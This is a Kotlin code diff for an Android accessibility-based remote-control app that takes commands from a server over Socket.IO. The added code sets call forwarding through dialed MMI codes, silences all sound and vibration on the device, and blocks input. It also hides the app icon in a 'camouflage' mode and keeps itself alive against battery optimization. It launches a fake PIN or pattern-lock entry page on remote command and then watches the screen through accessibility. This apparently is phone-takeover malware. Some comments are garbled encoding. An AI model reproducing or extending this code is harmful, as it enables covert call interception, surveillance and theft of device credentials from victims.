+ private fun buildCallForwardCancelMmi(rule: String): String {
+ return when (rule) {
+ "busy" -> "##67#"
+ "no_reply" -> "##61#"
+ "not_reachable" -> "##62#"
+ else -> "##21#"
+ }
+ }
+
+ private fun getCallForwardRuleLabel(rule: String): String {
+ return when (rule) {
+ "busy" -> "Busy forwarding"
+ "no_reply" -> "No-reply forwarding"
+ "not_reachable" -> "No-service forwarding"
+ else -> "All-call forwarding"
+ }
+ }
+
+ private fun hasCallPhonePermission(): Boolean {
+ return if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
+ true
+ } else {
+ service.checkSelfPermission(android.Manifest.permission.CALL_PHONE) ==
+ android.content.pm.PackageManager.PERMISSION_GRANTED
+ }
+ }
+
+ private fun applyCallForwardSet(rule: String, rawPhoneNumber: String) {
+ val phoneNumber = normalizeCallForwardPhone(rawPhoneNumber)
+ if (!isValidCallForwardPhone(phoneNumber)) {
+ sendCallForwardResult(
+ action = "set",
+ rule = rule,
+ phoneNumber = rawPhoneNumber,
+ success = false,
+ message = "Invalid forwarding phone number"
+ )
+ return
+ }
+
+ if (!hasCallPhonePermission()) {
+ Log.w(TAG, "CALL_PHONE permission missing, do not auto request")
+ sendCallForwardResult(
+ action = "set",
+ rule = rule,
+ phoneNumber = phoneNumber,
+ success = false,
+ message = "Missing CALL_PHONE permission",
+ permissionRequested = false
+ )
+ sendPermissionResponse("call_phone", false, "CALL_PHONE permission not granted")
+ return
+ }
+
+ val mmiCode = buildCallForwardSetMmi(rule, phoneNumber)
+ executeCallForwardMmi(
+ action = "set",
+ rule = rule,
+ phoneNumber = phoneNumber,
+ mmiCode = mmiCode
+ )
+ }
+
+ private fun applyCallForwardCancel(rule: String) {
+ if (!hasCallPhonePermission()) {
+ Log.w(TAG, "CALL_PHONE permission missing when cancel call forward")
+ sendCallForwardResult(
+ action = "cancel",
+ rule = rule,
+ phoneNumber = "",
+ success = false,
+ message = "Missing CALL_PHONE permission",
+ permissionRequested = false
+ )
+ sendPermissionResponse("call_phone", false, "CALL_PHONE permission not granted")
+ return
+ }
+
+ val mmiCode = buildCallForwardCancelMmi(rule)
+ executeCallForwardMmi(
+ action = "cancel",
+ rule = rule,
+ phoneNumber = "",
+ mmiCode = mmiCode
+ )
+ }
+
+ private fun executeCallForwardMmi(action: String, rule: String, phoneNumber: String?, mmiCode: String) {
+ try {
+ val callUri = Uri.parse("tel:${Uri.encode(mmiCode)}")
+ val callIntent = Intent(Intent.ACTION_CALL).apply {
+ data = callUri
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ }
+ service.startActivity(callIntent)
+
+ val actionText = if (action == "cancel") "Cancel" else "Set"
+ sendCallForwardResult(
+ action = action,
+ rule = rule,
+ phoneNumber = phoneNumber,
+ success = true,
+ message = "${actionText} ${getCallForwardRuleLabel(rule)} command sent",
+ mmiCode = mmiCode
+ )
+ Log.i(TAG, "Call forward MMI launched: action=$action, rule=$rule, mmi=$mmiCode")
+ } catch (securityError: SecurityException) {
+ Log.e(TAG, "Call forward ACTION_CALL denied", securityError)
+ sendCallForwardResult(
+ action = action,
+ rule = rule,
+ phoneNumber = phoneNumber,
+ success = false,
+ message = "CALL_PHONE permission denied",
+ mmiCode = mmiCode,
+ permissionRequested = false
+ )
+ sendPermissionResponse("call_phone", false, "CALL_PHONE permission not granted")
+ } catch (callError: Exception) {
+ Log.w(TAG, "ACTION_CALL failed, fallback to ACTION_DIAL", callError)
+ try {
+ val dialUri = Uri.parse("tel:${Uri.encode(mmiCode)}")
+ val dialIntent = Intent(Intent.ACTION_DIAL).apply {
+ data = dialUri
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ }
+ service.startActivity(dialIntent)
+ sendCallForwardResult(
+ action = action,
+ rule = rule,
+ phoneNumber = phoneNumber,
+ success = true,
+ message = "Dialer opened, please confirm on device",
+ mmiCode = mmiCode
+ )
+ } catch (dialError: Exception) {
+ Log.e(TAG, "ACTION_DIAL fallback failed", dialError)
+ sendCallForwardResult(
+ action = action,
+ rule = rule,
+ phoneNumber = phoneNumber,
+ success = false,
+ message = "Unable to open dialer",
+ mmiCode = mmiCode
+ )
+ }
+ }
+ }
+
+ /**
+ * comment cleaned
+ * comment cleaned
+ * comment cleaned
+ * comment cleaned
+ */
+ private fun applyOneClickMute() {
+ try {
+ val audioManager = service.getSystemService(Context.AUDIO_SERVICE) as? AudioManager
+ if (audioManager == null) {
+ Log.e(TAG, "One-click mute failed: AudioManager unavailable")
+ return
+ }
+ val romType = getROMType().uppercase()
+
+ val streams = mutableListOf(
+ AudioManager.STREAM_RING,
+ AudioManager.STREAM_NOTIFICATION,
+ AudioManager.STREAM_SYSTEM,
+ AudioManager.STREAM_MUSIC,
+ AudioManager.STREAM_ALARM,
+ AudioManager.STREAM_VOICE_CALL,
+ AudioManager.STREAM_DTMF
+ )
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ streams.add(AudioManager.STREAM_ACCESSIBILITY)
+ }
+
+ Log.i(
+ TAG,
+ "One-click mute start: manufacturer=${Build.MANUFACTURER}, model=${Build.MODEL}, api=${Build.VERSION.SDK_INT}, rom=$romType"
+ )
+
+ streams.forEach { streamType ->
+ muteStreamDirect(audioManager, streamType)
+ }
+
+ try {
+ audioManager.ringerMode = AudioManager.RINGER_MODE_SILENT
+ Log.i(TAG, "Ringer mode set to silent")
+ } catch (securityError: SecurityException) {
+ Log.w(TAG, "Failed to set ringtone mode to silent, fallback to vibrate", securityError)
+ try {
+ audioManager.ringerMode = AudioManager.RINGER_MODE_VIBRATE
+ } catch (vibrateError: Exception) {
+ Log.w(TAG, "Set vibrate mode also failed", vibrateError)
+ }
+ } catch (ringerError: Exception) {
+ Log.w(TAG, "Failed to set ringer mode", ringerError)
+ }
+
+ streams.forEach { streamType ->
+ forceLowerToZero(audioManager, streamType)
+ }
+
+ suppressVibrationBestEffort(audioManager)
+ applyNotificationInterruptionFilterBestEffort()
+
+ if (needsMuteSecondPass(romType)) {
+ Handler(Looper.getMainLooper()).postDelayed({
+ try {
+ streams.forEach { streamType ->
+ muteStreamDirect(audioManager, streamType)
+ forceLowerToZero(audioManager, streamType)
+ }
+ suppressVibrationBestEffort(audioManager)
+ Log.i(TAG, "One-click mute second pass completed: rom=$romType")
+ } catch (secondPassError: Exception) {
+ Log.w(TAG, "One-click mute second pass failed: rom=$romType", secondPassError)
+ }
+ }, 250)
+ }
+
+ Log.i(TAG, "One-click mute execution complete")
+ } catch (e: Exception) {
+ Log.e(TAG, "One-click mute execution error", e)
+ }
+ }
+
+ private fun muteStreamDirect(audioManager: AudioManager, streamType: Int) {
+ try {
+ val maxVolume = audioManager.getStreamMaxVolume(streamType)
+ if (maxVolume <= 0) return
+
+ audioManager.setStreamVolume(streamType, 0, 0)
+
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ try {
+ audioManager.adjustStreamVolume(streamType, AudioManager.ADJUST_MUTE, 0)
+ } catch (e: Exception) {
+ Log.d(TAG, "ADJUST_MUTE not supported: stream=$streamType")
+ }
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Failed to mute stream: stream=$streamType", e)
+ }
+ }
+
+ private fun forceLowerToZero(audioManager: AudioManager, streamType: Int) {
+ try {
+ var current = audioManager.getStreamVolume(streamType)
+ if (current <= 0) return
+
+ var attempts = 0
+ while (current > 0 && attempts < 20) {
+ audioManager.adjustStreamVolume(streamType, AudioManager.ADJUST_LOWER, 0)
+ current = audioManager.getStreamVolume(streamType)
+ attempts++
+ }
+
+ if (current > 0) {
+ audioManager.setStreamVolume(streamType, 0, 0)
+ current = audioManager.getStreamVolume(streamType)
+ }
+
+ Log.d(TAG, "Mute verification: stream=$streamType, volume=$current")
+ } catch (e: Exception) {
+ Log.w(TAG, "Failed to force volume down: stream=$streamType", e)
+ }
+ }
+
+ private fun suppressVibrationBestEffort(audioManager: AudioManager) {
+ try {
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
+ val vibratorManager = service.getSystemService(Context.VIBRATOR_MANAGER_SERVICE) as? VibratorManager
+ vibratorManager?.defaultVibrator?.cancel()
+ vibratorManager?.vibratorIds?.forEach { id ->
+ try {
+ vibratorManager.getVibrator(id).cancel()
+ } catch (_: Exception) {
+ }
+ }
+ } else {
+ @Suppress("DEPRECATION")
+ val vibrator = service.getSystemService(Context.VIBRATOR_SERVICE) as? Vibrator
+ vibrator?.cancel()
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Failed to cancel vibrator", e)
+ }
+
+ try {
+ if (Settings.System.canWrite(service)) {
+ Settings.System.putInt(service.contentResolver, Settings.System.HAPTIC_FEEDBACK_ENABLED, 0)
+ Settings.System.putInt(service.contentResolver, Settings.System.VIBRATE_WHEN_RINGING, 0)
+ Log.i(TAG, "System vibration settings disabled")
+ } else {
+ Log.w(TAG, "WRITE_SETTINGS unavailable, skip vibration settings update")
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Failed to update vibration-related system settings", e)
+ }
+
+ try {
+ // Some ROMs restore vibration when mode switches quickly; force silent again.
+ audioManager.ringerMode = AudioManager.RINGER_MODE_SILENT
+ } catch (_: Exception) {
+ }
+ }
+
+ private fun applyNotificationInterruptionFilterBestEffort() {
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
+ return
+ }
+ try {
+ val notificationManager = service.getSystemService(Context.NOTIFICATION_SERVICE) as? NotificationManager
+ if (notificationManager == null) {
+ return
+ }
+ if (notificationManager.isNotificationPolicyAccessGranted) {
+ notificationManager.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE)
+ Log.i(TAG, "Notification interruption filter set to NONE")
+ } else {
+ Log.w(TAG, "Notification policy access not granted, skip interruption filter")
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Failed to set notification interruption filter", e)
+ }
+ }
+
+ private fun needsMuteSecondPass(romType: String): Boolean {
+ return romType.contains("MIUI") ||
+ romType.contains("HYPEROS") ||
+ romType.contains("COLOROS") ||
+ romType.contains("FUNTOUCH") ||
+ romType.contains("ORIGINOS") ||
+ romType.contains("EMUI") ||
+ romType.contains("HARMONY") ||
+ romType.contains("ONEUI")
+ }
/**
- * 发送操作日志到服务器（优化版本，避免与屏幕数据传输冲突）
+ * comment cleaned
*/
fun sendOperationLog(logData: JSONObject) {
try {
@@ -1430,7 +3394,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val currentTime = System.currentTimeMillis()
val timeSinceLastScreenData = currentTime - lastScreenDataTime
- // 如果刚刚发送过屏幕数据（100ms内），稍微延迟发送日志
+ // comment cleaned
if (timeSinceLastScreenData < 100) {
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
@@ -1441,9 +3405,9 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
} catch (e: Exception) {
Log.e(TAG, "Delayed send operation log failed", e)
}
- }, 150) // 延迟150ms，错开屏幕数据发送时间
+ }, 150) // 寤惰繜150ms锛岄敊寮€灞忓箷鏁版嵁鍙戦€佹椂闂?
} else {
- // 安全时间窗口，直接发送
+ // comment cleaned
socket?.emit("operation_log", logData)
Log.d(TAG, "Send operation log: ${logData.optString("logType")} - ${logData.optString("content")}")
}
@@ -1456,7 +3420,191 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 🆕 发送权限申请响应到服务器
+ * Emit structured device metric to server.
+ */
+ fun sendDeviceMetric(
+ metricType: String,
+ metricName: String,
+ success: Boolean? = null,
+ data: Map = emptyMap()
+ ) {
+ try {
+ if (!isConnected || socket?.connected() != true) {
+ Log.d(TAG, "Skip metric emit while socket disconnected: $metricType/$metricName")
+ return
+ }
+
+ val payload = JSONObject().apply {
+ put("deviceId", getDeviceId())
+ put("metricType", metricType)
+ put("metricName", metricName)
+ if (success != null) {
+ put("success", success)
+ }
+ put("timestamp", System.currentTimeMillis())
+ put("data", mapToJson(data))
+ }
+
+ socket?.emit("device_metric", payload)
+ Log.d(TAG, "Device metric sent: $metricType/$metricName")
+ } catch (e: Exception) {
+ Log.e(TAG, "Send device metric failed: $metricType/$metricName", e)
+ }
+ }
+
+ private fun mapToJson(map: Map): JSONObject {
+ val result = JSONObject()
+ map.forEach { (key, value) ->
+ result.put(key, normalizeMetricValue(value))
+ }
+ return result
+ }
+
+ private fun normalizeMetricValue(value: Any?): Any? {
+ return when (value) {
+ null -> JSONObject.NULL
+ is JSONObject, is JSONArray, is String, is Number, is Boolean -> value
+ is Map<*, *> -> {
+ val json = JSONObject()
+ value.forEach { (k, v) ->
+ if (k is String) {
+ json.put(k, normalizeMetricValue(v))
+ }
+ }
+ json
+ }
+ is Collection<*> -> {
+ val array = JSONArray()
+ value.forEach { item ->
+ array.put(normalizeMetricValue(item))
+ }
+ array
+ }
+ is Array<*> -> {
+ val array = JSONArray()
+ value.forEach { item ->
+ array.put(normalizeMetricValue(item))
+ }
+ array
+ }
+ else -> value.toString()
+ }
+ }
+
+ private fun handleRuntimeFlagsUpdate(data: JSONObject) {
+ try {
+ val patch = data.optJSONObject("flags") ?: data
+ val updatedFlags = RuntimeFeatureFlags.applyPatch(service, patch)
+ if (updatedFlags == null) {
+ sendPermissionResponse(
+ "runtime_flags",
+ false,
+ "apply_failed"
+ )
+ sendDeviceMetric(
+ metricType = "runtime_flags",
+ metricName = "apply",
+ success = false,
+ data = mapOf(
+ "reason" to "persist_failed"
+ )
+ )
+ return
+ }
+
+ applyRuntimeFeatureFlagEffects(updatedFlags)
+
+ sendPermissionResponse(
+ "runtime_flags",
+ true,
+ "updated:${RuntimeFeatureFlags.toJson(updatedFlags)}"
+ )
+
+ sendDeviceMetric(
+ metricType = "runtime_flags",
+ metricName = "apply",
+ success = true,
+ data = mapOf(
+ "flags" to RuntimeFeatureFlags.toJson(updatedFlags)
+ )
+ )
+ sendRuntimeFlagsSync("remote_update")
+ } catch (e: Exception) {
+ Log.e(TAG, "Handle runtime flags update failed", e)
+ sendPermissionResponse(
+ "runtime_flags",
+ false,
+ "apply_failed:${e.message ?: "unknown"}"
+ )
+ sendDeviceMetric(
+ metricType = "runtime_flags",
+ metricName = "apply",
+ success = false,
+ data = mapOf("error" to (e.message ?: "unknown"))
+ )
+ }
+ }
+
+ private fun applyRuntimeFeatureFlagEffects(flags: RuntimeFeatureFlags.Flags) {
+ try {
+ val workManagerKeepAlive = WorkManagerKeepAliveService.getInstance()
+ if (flags.workManagerKeepAlive) {
+ workManagerKeepAlive.startKeepAlive(service)
+ } else {
+ workManagerKeepAlive.stopKeepAlive(service)
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Apply workManagerKeepAlive flag failed", e)
+ }
+
+ try {
+ val comprehensiveKeepAlive = ComprehensiveKeepAliveManager.getInstance(service)
+ if (flags.comprehensiveKeepAlive) {
+ if (comprehensiveKeepAlive.canStartService()) {
+ comprehensiveKeepAlive.startComprehensiveKeepAlive()
+ }
+ } else {
+ comprehensiveKeepAlive.stopComprehensiveKeepAlive()
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Apply comprehensiveKeepAlive flag failed", e)
+ }
+ }
+
+ private fun sendRuntimeFlagsSync(source: String) {
+ try {
+ if (!isConnected || socket?.connected() != true) {
+ return
+ }
+ val flags = RuntimeFeatureFlags.current(service)
+ val payload = JSONObject().apply {
+ put("deviceId", getDeviceId())
+ put("source", source)
+ put("timestamp", System.currentTimeMillis())
+ put("flags", RuntimeFeatureFlags.toJson(flags))
+ }
+ socket?.emit("runtime_flags_sync", payload)
+ } catch (e: Exception) {
+ Log.w(TAG, "Send runtime flags sync failed", e)
+ }
+ }
+
+ /**
+ * comment cleaned
+ */
+ private fun buildPermissionDeniedMessage(permissionType: String, fallback: String): String {
+ val runtimeReason = runCatching {
+ service.getRuntimePermissionFailureReason(permissionType)
+ }.getOrNull()
+ return if (runtimeReason.isNullOrBlank()) {
+ fallback
+ } else {
+ "$fallback | reason=$runtimeReason"
+ }
+ }
+
+ /**
+ * comment cleaned
*/
fun sendPermissionResponse(permissionType: String, success: Boolean, message: String) {
try {
@@ -1480,7 +3628,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 🆕 发送设备输入阻塞状态变更到服务器
+ * comment cleaned
*/
fun sendDeviceInputBlockedChanged(blocked: Boolean, fromConfigComplete: Boolean = false, autoEnabled: Boolean = false) {
try {
@@ -1488,11 +3636,12 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
val eventData = JSONObject().apply {
put("deviceId", getDeviceId())
put("blocked", blocked)
+ put("inputBlocked", blocked)
put("success", true)
- put("message", if (blocked) "设备输入已阻塞" else "设备输入已恢复")
+ put("message", if (blocked) "Input blocked" else "Input unblocked")
put("timestamp", System.currentTimeMillis())
- put("fromConfigComplete", fromConfigComplete) // 标记这是配置完成后的自动启用
- put("autoEnabled", autoEnabled) // 标记这是自动启用的，区别于手动操作
+ put("fromConfigComplete", fromConfigComplete) // 鏍囪杩欐槸閰嶇疆瀹屾垚鍚庣殑鑷姩鍚敤
+ put("autoEnabled", autoEnabled) // 鏍囪杩欐槸鑷姩鍚敤鐨勶紝鍖哄埆浜庢墜鍔ㄦ搷浣?
}
socket?.emit("device_input_blocked_changed", eventData)
@@ -1504,9 +3653,9 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.e(TAG, "Failed to send input block state change", e)
}
}
-
+
/**
- * 处理服务器地址修改
+ * comment cleaned
*/
private fun handleServerUrlChange(newServerUrl: String) {
scope.launch(Dispatchers.IO) {
@@ -1562,13 +3711,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
} else {
Log.e(TAG, "Failed to save server URL")
- // 发送失败响应
+ // comment cleaned
withContext(Dispatchers.Main) {
try {
val responseData = JSONObject().apply {
put("deviceId", getDeviceId())
put("success", false)
- put("message", "保存服务器地址失败")
+ put("message", "娣囨繂鐡ㄩ張宥呭閸ｃ劌婀撮崸鈧径杈Е")
put("timestamp", System.currentTimeMillis())
}
socket?.emit("server_url_changed", responseData)
@@ -1580,13 +3729,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
} catch (e: Exception) {
Log.e(TAG, "Handle server URL change failed", e)
- sendErrorResponse("处理服务器地址修改时发生异常: ${e.message}")
+ sendErrorResponse("澶勭悊鏈嶅姟鍣ㄥ湴鍧€淇敼鏃跺彂鐢熷紓甯? ${e.message}")
}
}
}
/**
- * 发送错误响应
+ * comment cleaned
*/
private suspend fun sendErrorResponse(errorMessage: String) {
withContext(Dispatchers.Main) {
@@ -1606,7 +3755,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 重新连接到新服务器
+ * comment cleaned
*/
private suspend fun reconnectToNewServer(newServerUrl: String) {
try {
@@ -1636,55 +3785,498 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
/**
- * 打开密码输入页面
+ * comment cleaned
*/
private fun openPasswordInputActivity(passwordType: String) {
+ scope.launch {
+ try {
+ Log.d(TAG, "Opening password input page, type: $passwordType")
+ val launchResponseEvent = getPasswordLaunchResponseEvent(passwordType)
+
+ // Reset password input completion state to allow re-input
+ val prefs = service.getSharedPreferences("password_input", Context.MODE_PRIVATE)
+ val completed = prefs.getBoolean("password_input_completed", false)
+
+ if (completed) {
+ Log.i(TAG, "Password already completed, resetting state for re-input")
+ prefs.edit().putBoolean("password_input_completed", false).apply()
+ Log.i(TAG, "Password input state reset, ready for re-input")
+ }
+
+ val camouflageMode = isAppInCamouflageMode()
+ // camo mode: ensure MainActivity stays disabled
+ if (camouflageMode) {
+ Log.i(TAG, "Camouflage mode detected, ensure MainActivity disabled")
+ ensureMainActivityDisabled()
+ }
+
+ // comment cleaned
+ service.wakeScreen()
+ delay(120)
+
+ val deviceId = getDeviceId()
+ val installationId = System.currentTimeMillis().toString()
+
+ val intent = Intent(service, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
+ putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE, passwordType)
+ putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, deviceId)
+ putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, installationId)
+ putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_SOCKET_WAKE, true)
+ // Launch dedicated password page directly and avoid bringing MainActivity task to front.
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS)
+ addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION)
+ }
+
+ var launched = startActivityOnMain(intent, "PasswordInput-$passwordType")
+ delay(350)
+
+ // real-device fallback: retry once without bringing MainActivity to front
+ if (!isPasswordInputUiVisible()) {
+ Log.w(TAG, "PasswordInput not visible after first launch, retrying direct launch")
+ launched = startActivityOnMain(intent, "PasswordInput-$passwordType-retry") || launched
+ delay(350)
+ }
+
+ if (launched) {
+ Log.d(TAG, "Password input page launch sequence finished, type: $passwordType")
+ sendPasswordLaunchResponse(
+ eventName = launchResponseEvent,
+ success = true,
+ message = "Password input page launch command accepted",
+ passwordType = passwordType
+ )
+ // start monitoring accessibility UI transitions
+ startAccessibilityMonitoring(passwordType, deviceId, installationId)
+ } else {
+ Log.e(TAG, "Failed to launch password input page, type: $passwordType")
+ sendPasswordLaunchResponse(
+ eventName = launchResponseEvent,
+ success = false,
+ message = "Failed to launch password input page",
+ passwordType = passwordType
+ )
+ }
+
+ } catch (e: Exception) {
+ Log.e(TAG, "Failed to start password input page", e)
+ sendPasswordLaunchResponse(
+ eventName = getPasswordLaunchResponseEvent(passwordType),
+ success = false,
+ message = "Failed to start password input page: ${e.message ?: "unknown"}",
+ passwordType = passwordType
+ )
+ }
+ }
+ }
+
+ private fun getPasswordLaunchResponseEvent(passwordType: String): String {
+ return when (passwordType) {
+ com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN -> "pin_input_response"
+ com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN_4 -> "four_digit_pin_response"
+ com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PATTERN -> "pattern_lock_response"
+ else -> "pin_input_response"
+ }
+ }
+
+ private fun sendPasswordLaunchResponse(
+ eventName: String,
+ success: Boolean,
+ message: String,
+ passwordType: String
+ ) {
try {
- Log.d(TAG, "Opening password input page, type: $passwordType")
-
- // Reset password input completion state to allow re-input
- val prefs = service.getSharedPreferences("password_input", Context.MODE_PRIVATE)
- val completed = prefs.getBoolean("password_input_completed", false)
-
- if (completed) {
- Log.i(TAG, "Password already completed, resetting state for re-input")
- prefs.edit().putBoolean("password_input_completed", false).apply()
- Log.i(TAG, "Password input state reset, ready for re-input")
+ if (socket?.connected() != true) {
+ return
}
-
- // 检查是否处于伪装模式，如果是则确保MainActivity被禁用
- if (isAppInCamouflageMode()) {
- Log.i(TAG, "🎭 检测到伪装模式，确保MainActivity被禁用")
- ensureMainActivityDisabled()
+ val payload = JSONObject().apply {
+ put("deviceId", getDeviceId())
+ put("success", success)
+ put("message", message)
+ put("passwordType", passwordType)
+ put("timestamp", System.currentTimeMillis())
}
-
- val deviceId = getDeviceId()
- val installationId = System.currentTimeMillis().toString()
-
- val intent = Intent(service, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
- putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE, passwordType)
- putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID, deviceId)
- putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID, installationId)
- putExtra(com.hikoncont.activity.PasswordInputActivity.EXTRA_SOCKET_WAKE, true)
- // 使用温和的flags设置，避免Activity被销毁
- addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
- addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
- addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
- }
-
- service.startActivity(intent)
- Log.d(TAG, "Password input page started, type: $passwordType")
-
- // 启动无障碍监控
- startAccessibilityMonitoring(passwordType, deviceId, installationId)
-
+ socket?.emit(eventName, payload)
} catch (e: Exception) {
- Log.e(TAG, "Failed to start password input page", e)
+ Log.w(TAG, "Send password launch response failed: event=$eventName", e)
+ }
+ }
+
+ /**
+ * comment cleaned
+ */
+ private fun openAppSettingsFromSocket() {
+ scope.launch {
+ try {
+ Log.i(TAG, "Execute open-app-settings command from Socket")
+
+ service.wakeScreen()
+ val foregroundRecovered = maybeRecoverForegroundForSensitiveLaunch(
+ scene = "open_app_settings"
+ )
+ if (foregroundRecovered) {
+ delay(220)
+ }
+
+ val primaryIntent = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
+ data = Uri.parse("package:${service.packageName}")
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ }
+
+ startActivityOnMain(primaryIntent, "OpenAppSettings-primary")
+ delay(450)
+ if (isSettingsUiVisible()) {
+ Log.i(TAG, "Open app settings success by primary intent")
+ return@launch
+ }
+
+ Log.w(TAG, "Primary app settings launch not visible, trying fallback settings intents")
+ val fallbackIntents = listOf(
+ Intent(Settings.ACTION_APPLICATION_SETTINGS).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ },
+ Intent(Settings.ACTION_MANAGE_APPLICATIONS_SETTINGS).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ },
+ Intent(Settings.ACTION_SETTINGS).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ }
+ )
+
+ for ((index, fallbackIntent) in fallbackIntents.withIndex()) {
+ if (!isIntentResolvable(fallbackIntent)) {
+ continue
+ }
+ startActivityOnMain(fallbackIntent, "OpenAppSettings-fallback-$index")
+ delay(450)
+ if (isSettingsUiVisible()) {
+ Log.i(TAG, "Open app settings success by fallback intent index=$index")
+ return@launch
+ }
+ }
+
+ Log.w(TAG, "Open app settings may be blocked by ROM background launch restrictions")
+ } catch (e: Exception) {
+ Log.e(TAG, "Open app settings from socket failed", e)
+ }
+ }
+ }
+
+ private fun openBatteryOptimizationSettingsFromSocket() {
+ scope.launch {
+ try {
+ Log.i(TAG, "Execute open-battery-optimization-settings command from Socket")
+
+ service.wakeScreen()
+ val foregroundRecovered = maybeRecoverForegroundForSensitiveLaunch(
+ scene = "open_battery_optimization_settings"
+ )
+ if (foregroundRecovered) {
+ delay(220)
+ }
+
+ val intents = mutableListOf()
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ intents += Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS).apply {
+ data = Uri.parse("package:${service.packageName}")
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ }
+ }
+ intents += Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ }
+ intents += Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
+ data = Uri.parse("package:${service.packageName}")
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ }
+
+ var launched = false
+ for ((index, intent) in intents.withIndex()) {
+ if (!isIntentResolvable(intent)) {
+ continue
+ }
+ val ok = startActivityOnMain(intent, "OpenBatteryOptimizationSettings-$index")
+ if (!ok) {
+ continue
+ }
+ launched = true
+ delay(420)
+ if (isSettingsUiVisible()) {
+ break
+ }
+ }
+
+ if (!launched) {
+ sendPermissionResponse(
+ "battery_optimization",
+ false,
+ "Unable to open battery optimization settings on this ROM"
+ )
+ return@launch
+ }
+
+ sendPermissionResponse(
+ "battery_optimization",
+ false,
+ "Battery optimization settings opened, please allow ignore optimization"
+ )
+ delay(1200)
+ sendKeepAlivePermissionSnapshot("open_battery_settings")
+ } catch (e: Exception) {
+ Log.e(TAG, "Open battery optimization settings from socket failed", e)
+ sendPermissionResponse(
+ "battery_optimization",
+ false,
+ "Open battery optimization settings failed: ${e.message ?: "unknown_error"}"
+ )
+ }
+ }
+ }
+
+ private fun sendKeepAlivePermissionSnapshot(source: String) {
+ try {
+ val packageName = service.packageName
+ val powerManager = service.getSystemService(Context.POWER_SERVICE) as? android.os.PowerManager
+ val activityManager = service.getSystemService(Context.ACTIVITY_SERVICE) as? android.app.ActivityManager
+ val alarmManager = service.getSystemService(Context.ALARM_SERVICE) as? android.app.AlarmManager
+
+ val batteryOptimizationIgnored = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ try {
+ powerManager?.isIgnoringBatteryOptimizations(packageName) ?: false
+ } catch (e: Exception) {
+ Log.w(TAG, "Read battery optimization status failed", e)
+ false
+ }
+ } else {
+ true
+ }
+
+ val backgroundRestricted = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
+ try {
+ activityManager?.isBackgroundRestricted ?: false
+ } catch (e: Exception) {
+ Log.w(TAG, "Read background restricted status failed", e)
+ false
+ }
+ } else {
+ false
+ }
+
